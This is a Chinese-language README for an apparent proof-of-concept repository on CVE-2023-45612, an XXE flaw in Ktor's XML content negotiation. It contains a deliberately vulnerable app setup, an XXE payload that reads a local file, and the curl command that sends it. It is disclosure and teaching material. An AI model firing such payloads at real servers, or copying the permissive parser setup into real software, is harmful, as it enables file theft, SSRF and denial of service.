影响:通过构造包含 XXE 引用的 XML DTD,可任意访问文件。
根因:不安全的 XML 文档解析器。
本仓库包含一个存在漏洞的 Ktor 2.3.4 应用,其配置允许外部实体,从而使 XXE 效果可见。
用于 XML 外部实体注入(CVE-2023-45612)概念验证的易受攻击的 Ktor(v2.3.4)应用。
CVE-2023-45612 是 Ktor ContentNegotiation 中的一个 XXE(XML 外部实体)漏洞,当在 2.3.5. 之前的版本中启用 XML 时触发。
该漏洞对应 CWE-611: 对 XML 外部实体引用的限制不当。
XXE 属于 OWASP Top 10 A05:2021-安全配置错误 风险类别,但它也是一个不安全的设计问题,因为其根源在于 XML 解析器未加限制。
由 Ulf Karlsson 报告——参见 Jetbrains 安全说明。
早于 2.3.5 的 Ktor 版本
这是我用于复现该问题的环境配置:
XML 文档可以包含文档类型定义(DTD),该定义除其他功能外,还支持定义 XML 实体。可以通过提供 URI 形式的替换字符串来定义实体。XML 解析器可以访问该 URI 的内容,并将这些内容嵌入回 XML 文档中以供进一步处理。
通过提交一个定义了带有 file:// URI 的外部实体的 XML 文件,攻击者可以导致处理应用读取本地文件的内容。
例如,"file:///c:/winnt/win.ini" 这样的 URI(在 Windows 中)指定文件 C:\Winnt\win.ini,或 file:///etc/passwd 指定 Unix 系统中的密码文件。
(https://cwe.mitre.org/data/definitions/611.html)
向端点 http://localhost:8080/xml 发起一个 POST 请求。
该请求发送一个 XML 文件 exploit/payloads/xxe-demo-file.xml,其中包含一个 <!DOCTYPE> 元素,并在其中引用一个外部实体,此处为 exploit/etc/secret.txt。
这可能是系统中该进程能够访问的任何其他文件。
xxe-demo-file.xml
<!DOCTYPE Mail [ <!ENTITY xxe SYSTEM "exploit/etc/secret.txt"> ]>
<Mail><title>&xxe;</title></Mail>
XML 解析器(配置为允许 DTD)会解析该元素并获取资源数据。
外部引用也可能是指向 SSRF 端点 的路径,也可能指向一个大文件,以占用系统资源 (DoS)。
./gradlew run
Responding at http://127.0.0.1:8080
curl -i http://localhost:8080/xml -H "Content-Type: application/xml" --data-binary @exploit/payloads/xxe-demo-file.xml
预期结果 (易受攻击):
控制台输出:
Received: <external entity data>
预期结果 (安全):
400 Bad Request或类似响应(XML 解析器阻止文档类型定义)
运行命令:

使用 cURL 发送 XXE 载荷,并显示注入文件内容的结果:

严重性为 高/严重。可能导致本地文件读取、SSRF 攻击、DoS 攻击或其他系统影响。
NVD 基础评分:9.8 CRITICAL(CVSS v3)(https://nvd.nist.gov/vuln/detail/CVE-2023-45612)